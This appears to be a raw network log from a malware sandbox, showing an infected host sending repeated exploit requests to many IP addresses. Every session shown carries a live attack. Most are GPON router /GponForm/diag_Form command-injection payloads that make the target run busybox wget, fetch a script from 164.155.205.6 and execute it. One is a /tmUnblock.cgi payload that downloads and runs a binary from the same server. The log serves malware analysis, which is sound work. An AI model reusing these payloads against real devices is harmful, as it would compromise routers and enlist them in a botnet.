Mar 2, 2024 12:37:57.065861940 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1098	192.168.2.23	38412	5.107.25.30	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.065897942 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1099	192.168.2.23	57806	37.169.146.113	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.065912008 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1100	192.168.2.23	46610	210.231.73.168	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.065917969 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1101	192.168.2.23	35416	118.26.30.240	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.065926075 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1102	192.168.2.23	34532	37.202.41.252	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.065939903 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1103	192.168.2.23	45452	118.202.14.11	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.065954924 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1104	192.168.2.23	37482	2.233.242.44	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.065960884 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1105	192.168.2.23	33906	178.247.47.218	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.065984011 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1106	192.168.2.23	33586	42.134.65.197	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.065984011 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1107	192.168.2.23	58988	178.126.15.133	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.065993071 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1108	192.168.2.23	45282	109.148.115.79	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.065994978 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1109	192.168.2.23	49584	172.87.221.233	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.066237926 CET	109	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:37:57.916436911 CET	109	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:37:58.908294916 CET	109	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:38:00.892154932 CET	109	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:38:04.827447891 CET	109	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:38:12.766365051 CET	109	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1110	192.168.2.23	60816	79.111.203.124	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.066257954 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1111	192.168.2.23	34942	178.117.221.188	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.066267014 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1112	192.168.2.23	33318	210.158.117.253	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.066276073 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1113	192.168.2.23	48476	109.0.25.118	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.066283941 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1114	192.168.2.23	43508	79.114.241.154	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.066301107 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1115	192.168.2.23	51328	42.147.240.113	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.066328049 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1116	192.168.2.23	50966	212.108.230.222	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.066328049 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1117	192.168.2.23	56386	5.237.93.180	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.066389084 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1118	192.168.2.23	58048	5.147.79.194	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.066406012 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1119	192.168.2.23	52656	79.155.124.171	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.066416025 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1120	192.168.2.23	60054	118.70.123.73	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.066416979 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1121	192.168.2.23	32966	178.129.173.109	443

Timestamp	Bytes transferred	Direction	Data
